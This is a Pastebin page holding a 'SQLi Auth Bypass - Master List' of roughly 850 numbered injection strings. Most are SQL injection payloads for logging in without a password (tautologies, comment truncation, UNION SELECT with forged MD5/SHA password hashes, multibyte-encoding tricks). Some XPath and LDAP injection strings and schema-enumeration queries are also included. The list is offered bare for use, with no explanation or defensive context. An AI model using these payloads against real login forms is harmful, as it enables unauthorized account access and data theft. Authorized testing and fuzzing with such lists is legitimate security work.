API tools faq
paste
Advertisement
Guest User

SQLi Auth Bypass - Master List

a guest
Oct 3rd, 2022
10,362
5
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 13.81 KB | Cybersecurity | 5 0
raw download clone embed print report
  1. ' or '1'='1
  2. ' or ''='
  3. ' or 1]%00
  4. ' or /* or '
  5. ' or "a" or '
  6. ' or 1 or '
  7. ' or true() or '
  8. 'or string-length(name(.))<10 or'
  9. 'or contains(name,'adm') or'
  10. 'or contains(.,'adm') or'
  11. 'or position()=2 or'
  12. admin' or '
  13. admin' or '1'='2
  14. *
  15. *)(&
  16. *)(|(&
  17. pwd)
  18. *)(|(*
  19. *))%00
  20. admin)(&)
  21. pwd
  22. admin)(!(&(|
  23. pwd))
  24. admin))(|(|
  25. '-'
  26. ' '
  27. '&'
  28. '^'
  29. '*'
  30. ' or ''-'
  31. ' or '' '
  32. ' or ''&'
  33. ' or ''^'
  34. ' or ''*'
  35. "-"
  36. " "
  37. "&"
  38. "^"
  39. "*"
  40. " or ""-"
  41. " or "" "
  42. " or ""&"
  43. " or ""^"
  44. " or ""*"
  45. or true--
  46. " or true--
  47. ' or true--
  48. ") or true--
  49. ') or true--
  50. ' or 'x'='x
  51. ') or ('x')=('x
  52. ')) or (('x'))=(('x
  53. " or "x"="x
  54. ") or ("x")=("x
  55. ")) or (("x"))=(("x
  56. or 1=1
  57. or 1=1--
  58. or 1=1#
  59. or 1=1/*
  60. admin' --
  61. admin' #
  62. admin'/*
  63. admin' or '1'='1
  64. admin' or '1'='1'--
  65. admin' or '1'='1'#
  66. admin' or '1'='1'/*
  67. admin'or 1=1 or ''='
  68. admin' or 1=1
  69. admin' or 1=1--
  70. admin' or 1=1#
  71. admin' or 1=1/*
  72. admin') or ('1'='1
  73. admin') or ('1'='1'--
  74. admin') or ('1'='1'#
  75. admin') or ('1'='1'/*
  76. admin') or '1'='1
  77. admin') or '1'='1'--
  78. admin') or '1'='1'#
  79. admin') or '1'='1'/*
  80. 1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055
  81. 1234 ' AND 1=0 UNION ALL SELECT 'admin', '7110eda4d09e062aa5e4a390b0a572ac0d2c0220
  82. admin" --
  83. admin" #
  84. admin"/*
  85. admin" or "1"="1
  86. admin" or "1"="1"--
  87. admin" or "1"="1"#
  88. admin" or "1"="1"/*
  89. admin"or 1=1 or ""="
  90. admin" or 1=1
  91. admin" or 1=1--
  92. admin" or 1=1#
  93. admin" or 1=1/*
  94. admin") or ("1"="1
  95. admin") or ("1"="1"--
  96. admin") or ("1"="1"#
  97. admin") or ("1"="1"/*
  98. admin") or "1"="1
  99. admin") or "1"="1"--
  100. admin") or "1"="1"#
  101. admin") or "1"="1"/*
  102. 1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055
  103. 1234 " AND 1=0 UNION ALL SELECT "admin", "7110eda4d09e062aa5e4a390b0a572ac0d2c0220
  104. ==
  105. =
  106. '
  107. ' --
  108. ' #
  109. ' –
  110. '--
  111. '/*
  112. '#
  113. " --
  114. " #
  115. "/*
  116. ' and 1='1
  117. ' and a='a
  118. or true
  119. " or ""="
  120. 1′) and '1′='1–
  121. ' AND 1=0 UNION ALL SELECT '', '81dc9bdb52d04dc20036dbd8313ed055
  122. " AND 1=0 UNION ALL SELECT "", "81dc9bdb52d04dc20036dbd8313ed055
  123. ' AND 1=0 UNION ALL SELECT '', '7110eda4d09e062aa5e4a390b0a572ac0d2c0220
  124. " AND 1=0 UNION ALL SELECT "", "7110eda4d09e062aa5e4a390b0a572ac0d2c0220
  125. and 1=1
  126. and 1=1–
  127. ' and 'one'='one
  128. ' and 'one'='one–
  129. ' group by password having 1=1--
  130. ' group by userid having 1=1--
  131. ' group by username having 1=1--
  132. like '%'
  133. or 0=0 --
  134. or 0=0 #
  135. or 0=0 –
  136. ' or 0=0 #
  137. ' or 0=0 --
  138. ' or 0=0 #
  139. ' or 0=0 –
  140. " or 0=0 --
  141. " or 0=0 #
  142. " or 0=0 –
  143. %' or '0'='0
  144. or 1=1–
  145. ' or 1=1--
  146. ' or '1'='1'--
  147. ' or '1'='1'/*
  148. ' or '1'='1'#
  149. ' or '1′='1
  150. ' or 1=1
  151. ' or 1=1 --
  152. ' or 1=1 –
  153. ' or 1=1;#
  154. ' or 1=1/*
  155. ' or 1=1#
  156. ' or 1=1–
  157. ') or '1'='1
  158. ') or '1'='1--
  159. ') or '1'='1'--
  160. ') or '1'='1'/*
  161. ') or '1'='1'#
  162. ') or ('1'='1
  163. ') or ('1'='1--
  164. ') or ('1'='1'--
  165. ') or ('1'='1'/*
  166. ') or ('1'='1'#
  167. 'or'1=1
  168. 'or'1=1′
  169. " or "1"="1
  170. " or "1"="1"--
  171. " or "1"="1"/*
  172. " or "1"="1"#
  173. " or 1=1
  174. " or 1=1 --
  175. " or 1=1 –
  176. " or 1=1--
  177. " or 1=1/*
  178. " or 1=1#
  179. " or 1=1–
  180. ") or "1"="1
  181. ") or "1"="1"--
  182. ") or "1"="1"/*
  183. ") or "1"="1"#
  184. ") or ("1"="1
  185. ") or ("1"="1"--
  186. ") or ("1"="1"/*
  187. ") or ("1"="1"#
  188. ) or '1′='1–
  189. ) or ('1′='1–
  190. ' or 1=1 LIMIT 1;#
  191. 'or 1=1 or ''='
  192. "or 1=1 or ""="
  193. ' or a=a--
  194. ' or a=a–
  195. " or "a"="a
  196. ") or ("a"="a
  197. ') or ('a'='a and hi") or ("a"="a
  198. ' or 'one'='one
  199. ' or 'one'='one–
  200. ' or uid like '%
  201. ' or uname like '%
  202. ' or userid like '%
  203. ' or user like '%
  204. ' or username like '%
  205. ') or ('x'='x
  206. ' OR 'x'='x'#;
  207. '=' 'or' and '=' 'or'
  208. ' UNION ALL SELECT 1, @@version;#
  209. ' UNION ALL SELECT system_user(),user();#
  210. ' UNION select table_schema,table_name FROM information_Schema.tables;#
  211. admin' and substring(password/text(),1,1)='7
  212. ' and substring(password/text(),1,1)='7
  213. "
  214. '-- 2
  215. "-- 2
  216. '='
  217. 0'<'2
  218. "="
  219. 0"<"2
  220. ')
  221. ")
  222. ')-- 2
  223. ')/*
  224. ')#
  225. ")-- 2
  226. ") #
  227. ")/*
  228. ')-('
  229. ')&('
  230. ')^('
  231. ')*('
  232. ')=('
  233. 0')<('2
  234. ")-("
  235. ")&("
  236. ")^("
  237. ")*("
  238. ")=("
  239. 0")<("2
  240. '-''-- 2
  241. '-''#
  242. '-''/*
  243. '&''-- 2
  244. '&''#
  245. '&''/*
  246. '^''-- 2
  247. '^''#
  248. '^''/*
  249. '*''-- 2
  250. '*''#
  251. '*''/*
  252. '=''-- 2
  253. '=''#
  254. '=''/*
  255. 0'<'2'-- 2
  256. 0'<'2'#
  257. 0'<'2'/*
  258. "-""-- 2
  259. "-""#
  260. "-""/*
  261. "&""-- 2
  262. "&""#
  263. "&""/*
  264. "^""-- 2
  265. "^""#
  266. "^""/*
  267. "*""-- 2
  268. "*""#
  269. "*""/*
  270. "=""-- 2
  271. "=""#
  272. "=""/*
  273. 0"<"2"-- 2
  274. 0"<"2"#
  275. 0"<"2"/*
  276. ')-''-- 2
  277. ')-''#
  278. ')-''/*
  279. ')&''-- 2
  280. ')&''#
  281. ')&''/*
  282. ')^''-- 2
  283. ')^''#
  284. ')^''/*
  285. ')*''-- 2
  286. ')*''#
  287. ')*''/*
  288. ')=''-- 2
  289. ')=''#
  290. ')=''/*
  291. 0')<'2'-- 2
  292. 0')<'2'#
  293. 0')<'2'/*
  294. ")-""-- 2
  295. ")-""#
  296. ")-""/*
  297. ")&""-- 2
  298. ")&""#
  299. ")&""/*
  300. ")^""-- 2
  301. ")^""#
  302. ")^""/*
  303. ")*""-- 2
  304. ")*""#
  305. ")*""/*
  306. ")=""-- 2
  307. ")=""#
  308. ")=""/*
  309. 0")<"2-- 2
  310. 0")<"2#
  311. 0")<"2/*
  312. 'oR'2
  313. 'oR'2'-- 2
  314. 'oR'2'#
  315. 'oR'2'/*
  316. 'oR'2'oR'
  317. 'oR(2)-- 2
  318. 'oR(2)#
  319. 'oR(2)/*
  320. 'oR(2)oR'
  321. 'oR 2-- 2
  322. 'oR 2#
  323. 'oR 2/*
  324. 'oR 2 oR'
  325. 'oR/**/2-- 2
  326. 'oR/**/2#
  327. 'oR/**/2/*
  328. 'oR/**/2/**/oR'
  329. "oR"2
  330. "oR"2"-- 2
  331. "oR"2"#
  332. "oR"2"/*
  333. "oR"2"oR"
  334. "oR(2)-- 2
  335. "oR(2)#
  336. "oR(2)/*
  337. "oR(2)oR"
  338. "oR 2-- 2
  339. "oR 2#
  340. "oR 2/*
  341. "oR 2 oR"
  342. "oR/**/2-- 2
  343. "oR/**/2#
  344. "oR/**/2/*
  345. "oR/**/2/**/oR"
  346. 'oR'2'='2
  347. 'oR'2'='2'oR'
  348. 'oR'2'='2'-- 2
  349. 'oR'2'='2'#
  350. 'oR'2'='2'/*
  351. 'oR 2=2-- 2
  352. 'oR 2=2#
  353. 'oR 2=2/*
  354. 'oR 2=2 oR'
  355. 'oR/**/2=2-- 2
  356. 'oR/**/2=2#
  357. 'oR/**/2=2/*
  358. 'oR/**/2=2/**/oR'
  359. 'oR(2)=2-- 2
  360. 'oR(2)=2#
  361. 'oR(2)=2/*
  362. 'oR(2)=(2)oR'
  363. 'oR'2'='2' LimIT 1-- 2
  364. 'oR'2'='2' LimIT 1#
  365. 'oR'2'='2' LimIT 1/*
  366. 'oR(2)=(2)LimIT(1)-- 2
  367. 'oR(2)=(2)LimIT(1)#
  368. 'oR(2)=(2)LimIT(1)/*
  369. "oR"2"="2
  370. "oR"2"="2"oR"
  371. "oR"2"="2"-- 2
  372. "oR"2"="2"#
  373. "oR"2"="2"/*
  374. "oR 2=2-- 2
  375. "oR 2=2#
  376. "oR 2=2/*
  377. "oR 2=2 oR"
  378. "oR/**/2=2-- 2
  379. "oR/**/2=2#
  380. "oR/**/2=2/*
  381. "oR/**/2=2/**/oR"
  382. "oR(2)=2-- 2
  383. "oR(2)=2#
  384. "oR(2)=2/*
  385. "oR(2)=(2)oR"
  386. "oR"2"="2" LimIT 1-- 2
  387. "oR"2"="2" LimIT 1#
  388. "oR"2"="2" LimIT 1/*
  389. "oR(2)=(2)LimIT(1)-- 2
  390. "oR(2)=(2)LimIT(1)#
  391. "oR(2)=(2)LimIT(1)/*
  392. 'oR true-- 2
  393. 'oR true#
  394. 'oR true/*
  395. 'oR true oR'
  396. 'oR(true)-- 2
  397. 'oR(true)#
  398. 'oR(true)/*
  399. 'oR(true)oR'
  400. 'oR/**/true-- 2
  401. 'oR/**/true#
  402. 'oR/**/true/*
  403. 'oR/**/true/**/oR'
  404. "oR true-- 2
  405. "oR true#
  406. "oR true/*
  407. "oR true oR"
  408. "oR(true)-- 2
  409. "oR(true)#
  410. "oR(true)/*
  411. "oR(true)oR"
  412. "oR/**/true-- 2
  413. "oR/**/true#
  414. "oR/**/true/*
  415. "oR/**/true/**/oR"
  416. 'oR'2'LiKE'2
  417. 'oR'2'LiKE'2'-- 2
  418. 'oR'2'LiKE'2'#
  419. 'oR'2'LiKE'2'/*
  420. 'oR'2'LiKE'2'oR'
  421. 'oR(2)LiKE(2)-- 2
  422. 'oR(2)LiKE(2)#
  423. 'oR(2)LiKE(2)/*
  424. 'oR(2)LiKE(2)oR'
  425. "oR"2"LiKE"2
  426. "oR"2"LiKE"2"-- 2
  427. "oR"2"LiKE"2"#
  428. "oR"2"LiKE"2"/*
  429. "oR"2"LiKE"2"oR"
  430. "oR(2)LiKE(2)-- 2
  431. "oR(2)LiKE(2)#
  432. "oR(2)LiKE(2)/*
  433. "oR(2)LiKE(2)oR"
  434. admin'-- 2
  435. admin'#
  436. admin"-- 2
  437. admin"#
  438. ffifdyop
  439. ' UniON SElecT 1,2-- 2
  440. ' UniON SElecT 1,2,3-- 2
  441. ' UniON SElecT 1,2,3,4-- 2
  442. ' UniON SElecT 1,2,3,4,5-- 2
  443. ' UniON SElecT 1,2#
  444. ' UniON SElecT 1,2,3#
  445. ' UniON SElecT 1,2,3,4#
  446. ' UniON SElecT 1,2,3,4,5#
  447. 'UniON(SElecT(1),2)-- 2
  448. 'UniON(SElecT(1),2,3)-- 2
  449. 'UniON(SElecT(1),2,3,4)-- 2
  450. 'UniON(SElecT(1),2,3,4,5)-- 2
  451. 'UniON(SElecT(1),2)#
  452. 'UniON(SElecT(1),2,3)#
  453. 'UniON(SElecT(1),2,3,4)#
  454. 'UniON(SElecT(1),2,3,4,5)#
  455. " UniON SElecT 1,2-- 2
  456. " UniON SElecT 1,2,3-- 2
  457. " UniON SElecT 1,2,3,4-- 2
  458. " UniON SElecT 1,2,3,4,5-- 2
  459. " UniON SElecT 1,2#
  460. " UniON SElecT 1,2,3#
  461. " UniON SElecT 1,2,3,4#
  462. " UniON SElecT 1,2,3,4,5#
  463. "UniON(SElecT(1),2)-- 2
  464. "UniON(SElecT(1),2,3)-- 2
  465. "UniON(SElecT(1),2,3,4)-- 2
  466. "UniON(SElecT(1),2,3,4,5)-- 2
  467. "UniON(SElecT(1),2)#
  468. "UniON(SElecT(1),2,3)#
  469. "UniON(SElecT(1),2,3,4)#
  470. "UniON(SElecT(1),2,3,4,5)#
  471. '||'2
  472. '||2-- 2
  473. '||'2'||'
  474. '||2#
  475. '||2/*
  476. '||2||'
  477. "||"2
  478. "||2-- 2
  479. "||"2"||"
  480. "||2#
  481. "||2/*
  482. "||2||"
  483. '||'2'='2
  484. '||'2'='2'||'
  485. '||2=2-- 2
  486. '||2=2#
  487. '||2=2/*
  488. '||2=2||'
  489. "||"2"="2
  490. "||"2"="2"||"
  491. "||2=2-- 2
  492. "||2=2#
  493. "||2=2/*
  494. "||2=2||"
  495. '||2=(2)LimIT(1)-- 2
  496. '||2=(2)LimIT(1)#
  497. '||2=(2)LimIT(1)/*
  498. "||2=(2)LimIT(1)-- 2
  499. "||2=(2)LimIT(1)#
  500. "||2=(2)LimIT(1)/*
  501. '||true-- 2
  502. '||true#
  503. '||true/*
  504. '||true||'
  505. "||true-- 2
  506. "||true#
  507. "||true/*
  508. "||true||"
  509. '||'2'LiKE'2
  510. '||'2'LiKE'2'-- 2
  511. '||'2'LiKE'2'#
  512. '||'2'LiKE'2'/*
  513. '||'2'LiKE'2'||'
  514. '||(2)LiKE(2)-- 2
  515. '||(2)LiKE(2)#
  516. '||(2)LiKE(2)/*
  517. '||(2)LiKE(2)||'
  518. "||"2"LiKE"2
  519. "||"2"LiKE"2"-- 2
  520. "||"2"LiKE"2"#
  521. "||"2"LiKE"2"/*
  522. "||"2"LiKE"2"||"
  523. "||(2)LiKE(2)-- 2
  524. "||(2)LiKE(2)#
  525. "||(2)LiKE(2)/*
  526. "||(2)LiKE(2)||"
  527. ')oR('2
  528. ')oR'2'-- 2
  529. ')oR'2'#
  530. ')oR'2'/*
  531. ')oR'2'oR('
  532. ')oR(2)-- 2
  533. ')oR(2)#
  534. ')oR(2)/*
  535. ')oR(2)oR('
  536. ')oR 2-- 2
  537. ')oR 2#
  538. ')oR 2/*
  539. ')oR 2 oR('
  540. ')oR/**/2-- 2
  541. ')oR/**/2#
  542. ')oR/**/2/*
  543. ')oR/**/2/**/oR('
  544. ")oR("2
  545. ")oR"2"-- 2
  546. ")oR"2"#
  547. ")oR"2"/*
  548. ")oR"2"oR("
  549. ")oR(2)-- 2
  550. ")oR(2)#
  551. ")oR(2)/*
  552. ")oR(2)oR("
  553. ")oR 2-- 2
  554. ")oR 2#
  555. ")oR 2/*
  556. ")oR 2 oR("
  557. ")oR/**/2-- 2
  558. ")oR/**/2#
  559. ")oR/**/2/*
  560. ")oR/**/2/**/oR("
  561. ')oR'2'=('2
  562. ')oR'2'='2'oR('
  563. ')oR'2'='2'-- 2
  564. ')oR'2'='2'#
  565. ')oR'2'='2'/*
  566. ')oR 2=2-- 2
  567. ')oR 2=2#
  568. ')oR 2=2/*
  569. ')oR 2=2 oR('
  570. ')oR/**/2=2-- 2
  571. ')oR/**/2=2#
  572. ')oR/**/2=2/*
  573. ')oR/**/2=2/**/oR('
  574. ')oR(2)=2-- 2
  575. ')oR(2)=2#
  576. ')oR(2)=2/*
  577. ')oR(2)=(2)oR('
  578. ')oR'2'='2' LimIT 1-- 2
  579. ')oR'2'='2' LimIT 1#
  580. ')oR'2'='2' LimIT 1/*
  581. ')oR(2)=(2)LimIT(1)-- 2
  582. ')oR(2)=(2)LimIT(1)#
  583. ')oR(2)=(2)LimIT(1)/*
  584. ")oR"2"=("2
  585. ")oR"2"="2"oR("
  586. ")oR"2"="2"-- 2
  587. ")oR"2"="2"#
  588. ")oR"2"="2"/*
  589. ")oR 2=2-- 2
  590. ")oR 2=2#
  591. ")oR 2=2/*
  592. ")oR 2=2 oR("
  593. ")oR/**/2=2-- 2
  594. ")oR/**/2=2#
  595. ")oR/**/2=2/*
  596. ")oR/**/2=2/**/oR("
  597. ")oR(2)=2-- 2
  598. ")oR(2)=2#
  599. ")oR(2)=2/*
  600. ")oR(2)=(2)oR("
  601. ")oR"2"="2" LimIT 1-- 2
  602. ")oR"2"="2" LimIT 1#
  603. ")oR"2"="2" LimIT 1/*
  604. ")oR(2)=(2)LimIT(1)-- 2
  605. ")oR(2)=(2)LimIT(1)#
  606. ")oR(2)=(2)LimIT(1)/*
  607. ')oR true-- 2
  608. ')oR true#
  609. ')oR true/*
  610. ')oR true oR('
  611. ')oR(true)-- 2
  612. ')oR(true)#
  613. ')oR(true)/*
  614. ')oR(true)oR('
  615. ')oR/**/true-- 2
  616. ')oR/**/true#
  617. ')oR/**/true/*
  618. ')oR/**/true/**/oR('
  619. ")oR true-- 2
  620. ")oR true#
  621. ")oR true/*
  622. ")oR true oR("
  623. ")oR(true)-- 2
  624. ")oR(true)#
  625. ")oR(true)/*
  626. ")oR(true)oR("
  627. ")oR/**/true-- 2
  628. ")oR/**/true#
  629. ")oR/**/true/*
  630. ")oR/**/true/**/oR("
  631. ')oR'2'LiKE('2
  632. ')oR'2'LiKE'2'-- 2
  633. ')oR'2'LiKE'2'#
  634. ')oR'2'LiKE'2'/*
  635. ')oR'2'LiKE'2'oR('
  636. ')oR(2)LiKE(2)-- 2
  637. ')oR(2)LiKE(2)#
  638. ')oR(2)LiKE(2)/*
  639. ')oR(2)LiKE(2)oR('
  640. ")oR"2"LiKE("2
  641. ")oR"2"LiKE"2"-- 2
  642. ")oR"2"LiKE"2"#
  643. ")oR"2"LiKE"2"/*
  644. ")oR"2"LiKE"2"oR("
  645. ")oR(2)LiKE(2)-- 2
  646. ")oR(2)LiKE(2)#
  647. ")oR(2)LiKE(2)/*
  648. ")oR(2)LiKE(2)oR("
  649. admin')-- 2
  650. admin')#
  651. admin')/*
  652. admin")-- 2
  653. admin")#
  654. ') UniON SElecT 1,2-- 2
  655. ') UniON SElecT 1,2,3-- 2
  656. ') UniON SElecT 1,2,3,4-- 2
  657. ') UniON SElecT 1,2,3,4,5-- 2
  658. ') UniON SElecT 1,2#
  659. ') UniON SElecT 1,2,3#
  660. ') UniON SElecT 1,2,3,4#
  661. ') UniON SElecT 1,2,3,4,5#
  662. ')UniON(SElecT(1),2)-- 2
  663. ')UniON(SElecT(1),2,3)-- 2
  664. ')UniON(SElecT(1),2,3,4)-- 2
  665. ')UniON(SElecT(1),2,3,4,5)-- 2
  666. ')UniON(SElecT(1),2)#
  667. ')UniON(SElecT(1),2,3)#
  668. ')UniON(SElecT(1),2,3,4)#
  669. ')UniON(SElecT(1),2,3,4,5)#
  670. ") UniON SElecT 1,2-- 2
  671. ") UniON SElecT 1,2,3-- 2
  672. ") UniON SElecT 1,2,3,4-- 2
  673. ") UniON SElecT 1,2,3,4,5-- 2
  674. ") UniON SElecT 1,2#
  675. ") UniON SElecT 1,2,3#
  676. ") UniON SElecT 1,2,3,4#
  677. ") UniON SElecT 1,2,3,4,5#
  678. ")UniON(SElecT(1),2)-- 2
  679. ")UniON(SElecT(1),2,3)-- 2
  680. ")UniON(SElecT(1),2,3,4)-- 2
  681. ")UniON(SElecT(1),2,3,4,5)-- 2
  682. ")UniON(SElecT(1),2)#
  683. ")UniON(SElecT(1),2,3)#
  684. ")UniON(SElecT(1),2,3,4)#
  685. ")UniON(SElecT(1),2,3,4,5)#
  686. ')||('2
  687. ')||2-- 2
  688. ')||'2'||('
  689. ')||2#
  690. ')||2/*
  691. ')||2||('
  692. ")||("2
  693. ")||2-- 2
  694. ")||"2"||("
  695. ")||2#
  696. ")||2/*
  697. ")||2||("
  698. ')||'2'=('2
  699. ')||'2'='2'||('
  700. ')||2=2-- 2
  701. ')||2=2#
  702. ')||2=2/*
  703. ')||2=2||('
  704. ")||"2"=("2
  705. ")||"2"="2"||("
  706. ")||2=2-- 2
  707. ")||2=2#
  708. ")||2=2/*
  709. ")||2=2||("
  710. ')||2=(2)LimIT(1)-- 2
  711. ')||2=(2)LimIT(1)#
  712. ')||2=(2)LimIT(1)/*
  713. ")||2=(2)LimIT(1)-- 2
  714. ")||2=(2)LimIT(1)#
  715. ")||2=(2)LimIT(1)/*
  716. ')||true-- 2
  717. ')||true#
  718. ')||true/*
  719. ')||true||('
  720. ")||true-- 2
  721. ")||true#
  722. ")||true/*
  723. ")||true||("
  724. ')||'2'LiKE('2
  725. ')||'2'LiKE'2'-- 2
  726. ')||'2'LiKE'2'#
  727. ')||'2'LiKE'2'/*
  728. ')||'2'LiKE'2'||('
  729. ')||(2)LiKE(2)-- 2
  730. ')||(2)LiKE(2)#
  731. ')||(2)LiKE(2)/*
  732. ')||(2)LiKE(2)||('
  733. ")||"2"LiKE("2
  734. ")||"2"LiKE"2"-- 2
  735. ")||"2"LiKE"2"#
  736. ")||"2"LiKE"2"/*
  737. ")||"2"LiKE"2"||("
  738. ")||(2)LiKE(2)-- 2
  739. ")||(2)LiKE(2)#
  740. ")||(2)LiKE(2)/*
  741. ")||(2)LiKE(2)||("
  742. ' UnION SELeCT 1,2`
  743. ' UnION SELeCT 1,2,3`
  744. ' UnION SELeCT 1,2,3,4`
  745. ' UnION SELeCT 1,2,3,4,5`
  746. " UnION SELeCT 1,2`
  747. " UnION SELeCT 1,2,3`
  748. " UnION SELeCT 1,2,3,4`
  749. " UnION SELeCT 1,2,3,4,5`
  750. ' or 1=1 limit 1 -- -+
  751. '="or'
  752. Pass1234.
  753. Pass1234.' AND 1=0 UniON SeleCT 'admin', 'fe1ff105bf807478a217ad4e378dc658
  754. Pass1234.' AND 1=0 UniON SeleCT 'admin', 'fe1ff105bf807478a217ad4e378dc658'#
  755. Pass1234.' AND 1=0 UniON ALL SeleCT 'admin', md5('Pass1234.
  756. Pass1234.' AND 1=0 UniON ALL SeleCT 'admin', md5('Pass1234.')#
  757. Pass1234.' AND 1=0 UniON SeleCT 'admin', '5b19a9e947ca0fee49995f2a8b359e1392adbb61
  758. Pass1234.' AND 1=0 UniON SeleCT 'admin', '5b19a9e947ca0fee49995f2a8b359e1392adbb61'#
  759. Pass1234.' and 1=0 union select 'admin',sha('Pass1234.
  760. Pass1234.' and 1=0 union select 'admin',sha('Pass1234.')#
  761. Pass1234." AND 1=0 UniON SeleCT "admin", "fe1ff105bf807478a217ad4e378dc658
  762. Pass1234." AND 1=0 UniON SeleCT "admin", "fe1ff105bf807478a217ad4e378dc658"#
  763. Pass1234." AND 1=0 UniON ALL SeleCT "admin", md5("Pass1234.
  764. Pass1234." AND 1=0 UniON ALL SeleCT "admin", md5("Pass1234.")#
  765. Pass1234." AND 1=0 UniON SeleCT "admin", "5b19a9e947ca0fee49995f2a8b359e1392adbb61
  766. Pass1234." AND 1=0 UniON SeleCT "admin", "5b19a9e947ca0fee49995f2a8b359e1392adbb61"#
  767. Pass1234." and 1=0 union select "admin",sha("Pass1234.
  768. Pass1234." and 1=0 union select "admin",sha("Pass1234.")#
  769. %A8%27 Or 1=1-- 2
  770. %8C%A8%27 Or 1=1-- 2
  771. %bf' Or 1=1 -- 2
  772. %A8%27 Or 1-- 2
  773. %8C%A8%27 Or 1-- 2
  774. %bf' Or 1-- 2
  775. %A8%27Or(1)-- 2
  776. %8C%A8%27Or(1)-- 2
  777. %bf'Or(1)-- 2
  778. %A8%27||1-- 2
  779. %8C%A8%27||1-- 2
  780. %bf'||1-- 2
  781. %A8%27) Or 1=1-- 2
  782. %8C%A8%27) Or 1=1-- 2
  783. %bf') Or 1=1 -- 2
  784. %A8%27) Or 1-- 2
  785. %8C%A8%27) Or 1-- 2
  786. %bf') Or 1-- 2
  787. %A8%27)Or(1)-- 2
  788. %8C%A8%27)Or(1)-- 2
  789. %bf')Or(1)-- 2
  790. %A8%27)||1-- 2
  791. %8C%A8%27)||1-- 2
  792. %bf')||1-- 2
  793. ''
  794. `
  795. ``
  796. ,
  797. ""
  798. /
  799. //
  800. \
  801. \\
  802. ;
  803. ' or "
  804. -- or #
  805. ' OR '1
  806. ' OR 1 -- -
  807. " OR "" = "
  808. " OR 1 = 1 -- -
  809. ' OR '' = '
  810. 'LIKE'
  811. '=0--+
  812. OR 1=1
  813. ' OR 'x'='x
  814. ' AND id IS NULL; --
  815. '''''''''''''UNION SELECT '2
  816. %00
  817. AND 1
  818. AND 0
  819. AND true
  820. AND false
  821. 1-false
  822. 1-true
  823. 1*56
  824. ' or 'a'='a
  825. ') or ('a'='a
  826. ‘ or 1=1 –
  827. 1'or’1'=’1
  828. admin’–
  829. ” or 0=0 –
  830. ‘ or 0=0 #
  831. ” or 0=0 #
  832. ‘ or ‘x’='x
  833. ” or “x”=”x
  834. ‘) or (‘x’='x
  835. ‘ or 1=1–
  836. ” or 1=1–
  837. ‘ or a=a–
  838. ” or “a”=”a
  839. ‘) or (‘a’='a
  840. “) or (“a”=”a
  841. hi” or “a”=”a
  842. hi” or 1=1 –
  843. hi’ or 1=1 –
  844. hi’ or ‘a’='a
  845. hi’) or (‘a’='a
  846. hi”) or (“a”=”)
  847. ' OR 1=1 --+
Tags: sql sqli auth bypass
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!